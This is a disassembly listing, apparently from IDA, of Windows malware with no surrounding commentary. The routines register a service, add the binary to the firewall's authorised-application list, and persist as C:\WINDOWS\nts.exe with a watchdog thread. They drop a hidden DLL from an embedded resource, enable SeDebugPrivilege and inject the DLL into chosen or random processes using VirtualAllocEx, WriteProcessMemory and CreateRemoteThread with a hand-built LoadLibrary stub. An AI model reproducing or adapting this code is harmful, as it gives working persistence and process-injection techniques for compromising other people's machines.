sub_446780	proc near		; CODE XREF: sub_447672+236p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4486B1
		mov	[ebp+var_2000],	0
		push	dword_4128A4
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset aNts	; "NTS"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	dword_4128A4
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_4462B9
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_446780	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4467F1	proc near		; CODE XREF: DMN1:00446A0Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	14h
		push	40h
		call	dword_411CE0	; LocalAlloc
		mov	[ebp+var_10], eax
		push	1
		push	[ebp+var_10]
		call	dword_411E38	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	[ebp+var_10]
		call	dword_411E3C	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 1
		push	offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_411D40	; CreateEventA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_44685B
		push	offset aEventCreated_ ;	"EVENT CREATED.\n"
		call	sub_4481E1
		pop	ecx
		jmp	short loc_44686E
; ---------------------------------------------------------------------------


loc_44685B:				; CODE XREF: sub_4467F1+5Bj
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		push	offset aEventCreatonEr ; "EVENT	CREATON	ERROR: %i\n"
		call	sub_4481E1
		pop	ecx
		pop	ecx


loc_44686E:				; CODE XREF: sub_4467F1+68j
		push	0
		push	0
		push	offset sub_405BE3
		call	sub_448891
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0
		push	0
		push	offset sub_406677
		call	sub_448891
		add	esp, 0Ch
		mov	esi, eax


loc_446899:				; CODE XREF: sub_4467F1:loc_4468E8j
		test	ebx, ebx
		jz	short loc_4468D3
		push	offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
		call	sub_4481E1
		pop	ecx
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], ebx
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		call	dword_411D48	; WaitForMultipleObjects
		mov	edi, eax
		test	edi, edi
		jz	short loc_4468C9
		cmp	edi, 1
		jnz	short loc_4468E8


loc_4468C9:				; CODE XREF: sub_4467F1+D1j
		push	1
		call	sub_448961
		pop	ecx
		jmp	short loc_4468E8
; ---------------------------------------------------------------------------


loc_4468D3:				; CODE XREF: sub_4467F1+AAj
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_4468E8
		push	1
		call	sub_448961
		pop	ecx


loc_4468E8:				; CODE XREF: sub_4467F1+D6j
					; sub_4467F1+E0j ...
		jmp	short loc_446899
sub_4467F1	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		cmp	eax, 3
		jz	short loc_446906
		cmp	eax, 4
		jz	short loc_446923
		cmp	eax, 5
		jz	short loc_446936
		jmp	short locret_446959
; ---------------------------------------------------------------------------


loc_446906:				; CODE XREF: DMN1:004468F8j
		mov	dword_41293C, 4
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		jmp	short locret_446959
; ---------------------------------------------------------------------------


loc_446923:				; CODE XREF: DMN1:004468FDj
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		jmp	short locret_446959
; ---------------------------------------------------------------------------


loc_446936:				; CODE XREF: DMN1:00446902j
		mov	dword_41293C, 1
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		push	1
		call	sub_448961
		pop	ecx

locret_446959:				; CODE XREF: DMN1:00446904j
					; DMN1:00446921j ...
		retn	4
; ---------------------------------------------------------------------------
		push	offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
		call	sub_4481E1
		pop	ecx
		push	offset loc_405970
		push	off_412958
		call	dword_411E70	; RegisterServiceCtrlHandlerA
		mov	dword_412954, eax
		cmp	dword_412954, 0
		jz	loc_446A3C
		push	1
		push	offset dword_411044
		call	dword_411D04	; InterlockedExchange
		push	1Ch
		push	0
		push	offset dword_412938
		call	sub_448551
		add	esp, 0Ch
		mov	dword_412938, 110h
		mov	dword_41293C, 2
		and	dword_412940, 0
		mov	dword_412950, 9C4h
		push	offset aSetservicestat ; "SetServiceStatus(): start pending\n"
		call	sub_4481E1
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		mov	dword_41293C, 4
		push	offset aSetservicest_0 ; "SetServiceStatus(): running\n"
		call	sub_4481E1
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		call	sub_4467F1
; ---------------------------------------------------------------------------
		mov	dword_41293C, 1
		push	offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
		call	sub_4481E1
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		jmp	short locret_446A47
; ---------------------------------------------------------------------------


loc_446A3C:				; CODE XREF: DMN1:00446984j
		push	offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
		call	sub_4481E1
		pop	ecx

locret_446A47:				; CODE XREF: DMN1:00446A3Aj
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_446A4A	proc near		; CODE XREF: DMN1:00446A90p
					; sub_447672+532p
		push	ebx
		call	sub_44508F
		test	eax, eax
		jz	short loc_446A58
		xor	eax, eax
		jmp	short loc_446A8E
; ---------------------------------------------------------------------------


loc_446A58:				; CODE XREF: sub_446A4A+8j
		mov	eax, off_412958
		mov	dword_41295C, eax
		mov	dword_412960, offset loc_4059DB
		and	dword_412964, 0
		and	dword_412968, 0
		push	offset dword_41295C
		call	dword_411E74	; StartServiceCtrlDispatcherA
		mov	ebx, eax
		call	sub_4450E3
		mov	eax, ebx


loc_446A8E:				; CODE XREF: sub_446A4A+Cj
		pop	ebx
		retn
sub_446A4A	endp

; ---------------------------------------------------------------------------
		call	sub_446A4A
		call	sub_448921
		retn
; ---------------------------------------------------------------------------
		call	sub_445DD7
		mov	dword_411040, eax
		call	sub_448921
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446AAB	proc near		; CODE XREF: DMN1:00446BC8p
					; sub_447672+1F7p

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_448551
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_4485F1
		pop	ecx
		pop	ecx
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset asc_40E5AD ; "\"	"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_446B1B
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448611
		pop	ecx
		pop	ecx


loc_446B1B:				; CODE XREF: sub_446AAB+5Dj
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10	; CreateProcessA
		test	eax, eax
		jz	short loc_446B60
		push	[ebp+var_850]
		call	dword_411CF8	; CloseHandle
		push	[ebp+var_854]
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax


loc_446B60:				; CODE XREF: sub_446AAB+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_446AAB	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset aServicefixerth ; "ServiceFixerThread started.\n"
		call	nullsub_4
		pop	ecx


loc_446B71:				; CODE XREF: DMN1:loc_446BF9j
		xor	ebx, ebx
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	dword_411D4C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_446BEE
		call	sub_445C39
		test	eax, eax
		jz	short loc_446BAD
		call	sub_446032
		test	eax, eax
		jnz	short loc_446B9C
		call	sub_446108


loc_446B9C:				; CODE XREF: DMN1:00446B95j
		call	sub_445D89
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_446BBA
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_446BBA
; ---------------------------------------------------------------------------


loc_446BAD:				; CODE XREF: DMN1:00446B8Cj
		call	sub_445EAB
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_446BBA
		xor	ebx, ebx
		inc	ebx


loc_446BBA:				; CODE XREF: DMN1:00446BA6j
					; DMN1:00446BABj ...
		test	ebx, ebx
		jz	short loc_446BE1
		call	sub_4450E3
		push	offset asc_40E58D ; "**"
		call	sub_446AAB
		pop	ecx
		test	eax, eax
		jz	short loc_446BDA
		push	0
		call	sub_448961
		pop	ecx


loc_446BDA:				; CODE XREF: DMN1:00446BD0j
		call	sub_44508F
		jmp	short loc_446BF9
; ---------------------------------------------------------------------------


loc_446BE1:				; CODE XREF: DMN1:00446BBCj
		push	1F4h
		call	dword_411D00	; Sleep
		jmp	short loc_446BF9
; ---------------------------------------------------------------------------


loc_446BEE:				; CODE XREF: DMN1:00446B83j
		push	2710h
		call	dword_411D00	; Sleep


loc_446BF9:				; CODE XREF: DMN1:00446BDFj
					; DMN1:00446BECj
		jmp	loc_446B71
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		mov	esi, eax
		push	dword_41296C
		call	dword_411D50	; ResetEvent


loc_446C18:				; CODE XREF: DMN1:00446C4Cj
		mov	byte ptr [ebp-1], 0
		push	1
		lea	eax, [ebp-1]
		push	eax
		push	esi
		call	sub_44265D
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_446C4E
		cmp	byte ptr [ebp-1], 2Ah
		jnz	short loc_446C4E
		push	1
		lea	eax, [ebp-1]
		push	eax
		push	esi
		call	sub_442708
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_446C4E
		jmp	short loc_446C18
; ---------------------------------------------------------------------------


loc_446C4E:				; CODE XREF: DMN1:00446C2Fj
					; DMN1:00446C35j ...
		push	esi
		call	sub_442443
		pop	ecx
		push	offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
		call	nullsub_4
		pop	ecx
		push	dword_41296C
		call	dword_411D44	; SetEvent
		call	sub_448921
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_4422DA
		mov	dword_41104C, eax
		push	offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
		call	nullsub_4
		pop	ecx
		push	15B7h
		push	100007Fh
		push	dword_41104C
		call	sub_442538
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_446D17
		push	offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
		call	nullsub_4
		pop	ecx
		push	dword_41104C
		call	sub_442588
		pop	ecx
		test	eax, eax
		jz	short loc_446D17
		push	offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
		call	nullsub_4
		pop	ecx
		push	dword_41104C
		call	sub_4425A2
		pop	ecx
		mov	[ebp-4], eax
		test	eax, eax
		jz	short loc_446D17
		mov	eax, [ebp-4]
		push	eax
		push	0
		push	offset sub_405C80
		call	sub_448891
		add	esp, 0Ch
		mov	[ebp-8], eax
		push	eax
		call	dword_411CF8	; CloseHandle
		push	dword_41104C
		call	sub_442443
		pop	ecx
		and	dword_41104C, 0


loc_446D17:				; CODE XREF: DMN1:00446CACj
					; DMN1:00446CC7j ...
		cmp	dword_41104C, 0
		jz	short loc_446D2C
		push	dword_41104C
		call	sub_442443
		pop	ecx


loc_446D2C:				; CODE XREF: DMN1:00446D1Ej
		push	offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
		call	nullsub_4
		pop	ecx
		call	sub_448921
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_446D40	proc near		; CODE XREF: sub_4472FE+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_446D52
; ---------------------------------------------------------------------------


loc_446D4A:				; CODE XREF: sub_446D40+14j
		call	dword_411CC4	; GetTickCount
		mov	esi, eax


loc_446D52:				; CODE XREF: sub_446D40+8j
		test	esi, esi
		jz	short loc_446D4A
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_446D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446D74	proc near		; CODE XREF: sub_446E7F+9Ep
					; sub_446E7F+109p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_411054, 0
		jz	short loc_446D9C
		push	dword_411054
		call	dword_411CF8	; CloseHandle
		and	dword_411054, 0


loc_446D9C:				; CODE XREF: sub_446D74+13j
		push	0Ah
		push	offset a8001	; "#8001"
		push	0
		call	dword_411D54	; FindResourceA
		mov	esi, eax
		test	eax, eax
		jz	loc_446E78
		push	esi
		push	0
		call	dword_411D58	; SizeofResource
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	offset aResourceHereSi ; "resource here, size: %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	esi
		push	0
		call	dword_411D5C	; LoadResource
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_446E78
		push	[ebp+var_8]
		call	dword_411D60	; LockResource
		mov	[ebp+var_C], eax
		test	eax, eax
		jz	loc_446E78
		push	80h
		push	ebx
		call	dword_411D28	; SetFileAttributesA
		push	offset aWb	; "wb+"
		push	ebx
		call	sub_448281
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_446E28
		push	ebx
		push	offset aFileSNotCreate ; "file <%s> NOT	created\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_446E78
; ---------------------------------------------------------------------------


loc_446E28:				; CODE XREF: sub_446D74+A1j
		push	ebx
		push	offset aFileSCreated ; "file <%s> created\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		call	sub_4486E1
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	edi
		call	sub_4484E1
		pop	ecx
		push	[ebp+var_10]
		push	ebx
		push	offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
		call	nullsub_4
		add	esp, 0Ch
		push	7
		push	ebx
		call	dword_411D28	; SetFileAttributesA
		cmp	[ebp+var_10], 1
		jz	short loc_446E75
		xor	eax, eax
		jmp	short loc_446E78
; ---------------------------------------------------------------------------


loc_446E75:				; CODE XREF: sub_446D74+FBj
		xor	eax, eax
		inc	eax


loc_446E78:				; CODE XREF: sub_446D74+3Bj
					; sub_446D74+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446D74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446E7F	proc near		; CODE XREF: DMN1:loc_4474D2p

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_4486B1
		cmp	dword_411050, 0
		jz	short loc_446ED5
		push	offset aR	; "r"
		push	offset dword_412970
		call	sub_448281
		pop	ecx
		pop	ecx
		mov	[ebp+var_1004],	eax
		test	eax, eax
		jz	short loc_446ED5
		push	offset dword_412970
		push	offset aOldDllS	; "old DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	[ebp+var_1004]
		call	sub_4484E1
		pop	ecx
		xor	eax, eax
		inc	eax
		jmp	loc_446FBF
; ---------------------------------------------------------------------------


loc_446ED5:				; CODE XREF: sub_446E7F+14j
					; sub_446E7F+2Fj
		push	offset dword_412970
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		push	offset aNts_	; "nts_"
		push	offset dword_412970
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset a000_tmp	; "000.tmp"
		push	offset dword_412970
		call	sub_448611
		pop	ecx
		pop	ecx
		push	offset dword_412970
		push	offset aCheckingDllS ; "checking DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_446D74
		pop	ecx
		test	eax, eax
		jz	short loc_446F47
		push	offset dword_412970
		push	offset aDllFoundS ; " DLL found: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_446FBF
; ---------------------------------------------------------------------------


loc_446F47:				; CODE XREF: sub_446E7F+A6j
		lea	eax, [ebp+var_1000]
		push	eax
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		push	offset dword_412970
		push	0
		push	offset aNts_	; "nts_"
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D20	; GetTempFileNameA
		push	offset dword_412970
		push	offset aTryingDllS ; "trying DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_446D74
		pop	ecx
		test	eax, eax
		jz	short loc_446FB2
		push	offset dword_412970
		push	offset aDllOkS	; "DLL ok: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_446FBF
; ---------------------------------------------------------------------------


loc_446FB2:				; CODE XREF: sub_446E7F+111j
		push	offset aDllNotExtracte ; "DLL not extracted.\n"
		call	nullsub_4
		pop	ecx
		xor	eax, eax


loc_446FBF:				; CODE XREF: sub_446E7F+51j
					; sub_446E7F+C6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_446E7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446FC3	proc near		; CODE XREF: sub_447167+6p
					; sub_44722F+12p ...

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_411E78	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_447039
		call	dword_411D64	; GetCurrentProcess
		lea	edx, [ebp+var_14]
		push	edx
		push	28h
		push	eax
		call	dword_411E7C	; OpenProcessToken
		test	eax, eax
		jz	short loc_447039
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+var_14]
		call	dword_411E80	; AdjustTokenPrivileges
		call	dword_411CE8	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_447036
		xor	eax, eax
		jmp	short loc_447039
; ---------------------------------------------------------------------------


loc_447036:				; CODE XREF: sub_446FC3+6Dj
		xor	eax, eax
		inc	eax


loc_447039:				; CODE XREF: sub_446FC3+19j
					; sub_446FC3+30j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_446FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44703D	proc near		; CODE XREF: sub_447167+34p

var_1008	= byte ptr -1008h
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_4486B1
		push	ebx
		push	esi
		push	edi
		push	40h
		push	1000h
		push	1000h
		push	0
		push	[ebp+arg_0]
		call	dword_411D68	; VirtualAllocEx
		mov	esi, eax
		test	eax, eax
		jz	loc_447160
		push	offset aVirtualallocex ; "VirtualAllocEx() ok\n"
		call	nullsub_4
		pop	ecx
		lea	ebx, [ebp+var_1000]
		mov	byte ptr [ebx],	68h
		inc	ebx
		mov	eax, esi
		add	eax, 50h
		mov	[ebx], eax
		add	ebx, 4
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 40h
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	50h
		inc	ebx
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 44h
		mov	[ebx], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_411D6C	; GetModuleHandleA
		mov	edi, eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 40h
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	edi
		call	dword_411D70	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aExitthread ; "ExitThread"
		push	edi
		call	dword_411D70	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aGetlasterror ; "GetLastError"
		push	edi
		call	dword_411D70	; GetProcAddress
		mov	[ebx], eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 50h
		push	[ebp+arg_4]
		push	ebx
		call	sub_4485F1
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_411D74	; WriteProcessMemory
		test	eax, eax
		jz	short loc_447160
		push	offset aWriteprocessme ; "WriteProcessMemory() ok\n"
		call	nullsub_4
		pop	ecx
		push	[ebp+arg_4]
		push	offset aS	; "<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		push	0
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_411D78	; CreateRemoteThread


loc_447160:				; CODE XREF: sub_44703D+2Bj
					; sub_44703D+EEj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44703D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447167	proc near		; CODE XREF: sub_44722F+6Fp
					; sub_4472FE+5Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		call	sub_446FC3
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		call	dword_411D7C	; OpenProcess
		mov	ebx, eax
		push	offset aProcessOpened_ ; "process opened.\n"
		call	nullsub_4
		pop	ecx
		test	ebx, ebx
		jz	loc_447227
		push	[ebp+arg_4]
		push	ebx
		call	sub_44703D
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_447220
		push	esi
		push	offset aThreadInjected ; "thread injected (%i).\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34	; WaitForSingleObject
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_411D80	; GetExitCodeThread
		push	[ebp+var_4]
		push	offset aThreadComplete ; "thread complete (%i).\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	esi
		call	dword_411CF8	; CloseHandle
		push	ebx
		call	dword_411CF8	; CloseHandle
		cmp	[ebp+var_4], 20h
		jnb	short loc_4471F0
		xor	eax, eax
		jmp	short loc_447229
; ---------------------------------------------------------------------------


loc_4471F0:				; CODE XREF: sub_447167+83j
		push	[ebp+arg_4]
		push	offset aDllInjected ; "DLL injected!\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		cmp	dword_411054, 0
		jz	short loc_44721B
		push	dword_411054
		call	dword_411CF8	; CloseHandle
		and	dword_411054, 0


loc_44721B:				; CODE XREF: sub_447167+9Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_447229
; ---------------------------------------------------------------------------


loc_447220:				; CODE XREF: sub_447167+3Fj
		push	ebx
		call	dword_411CF8	; CloseHandle


loc_447227:				; CODE XREF: sub_447167+2Aj
		xor	eax, eax


loc_447229:				; CODE XREF: sub_447167+87j
					; sub_447167+B7j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_447167	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44722F	proc near		; CODE XREF: DMN1:004474ECp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_446FC3
		push	0
		push	2
		call	sub_447C1D	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	loc_4472F7
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_447C23	; Process32First


loc_447270:				; CODE XREF: sub_44722F+BDj
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_4472DD
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithS ; "trying <%s> with <%s>\n"
		call	nullsub_4
		add	esp, 0Ch
		push	esi
		push	[ebp+var_120]
		call	sub_447167
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4472C8
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aS	; "<%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_4472F7
; ---------------------------------------------------------------------------


loc_4472C8:				; CODE XREF: sub_44722F+78j
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithSFa ; "trying <%s> with <%s>	failed\n"
		call	nullsub_4
		add	esp, 0Ch


loc_4472DD:				; CODE XREF: sub_44722F+51j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_447C29	; Process32Next
		test	eax, eax
		jnz	short loc_447270
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax


loc_4472F7:				; CODE XREF: sub_44722F+24j
					; sub_44722F+97j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44722F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4472FE	proc near		; CODE XREF: DMN1:00447501p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	offset dword_411058
		call	sub_446D40
		pop	ecx
		mov	ecx, 100h
		cdq
		idiv	ecx
		lea	esi, [edx+1]
		call	sub_446FC3
		jmp	short loc_447396
; ---------------------------------------------------------------------------


loc_44732A:				; CODE XREF: sub_4472FE+9Aj
		push	0
		push	2
		call	sub_447C1D	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	short loc_44739C
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_447C23	; Process32First


loc_447350:				; CODE XREF: sub_4472FE+8Fj
		dec	esi
		test	esi, esi
		jnz	short loc_44737E
		push	ebx
		push	[ebp+var_120]
		call	sub_447167
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_447373
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax
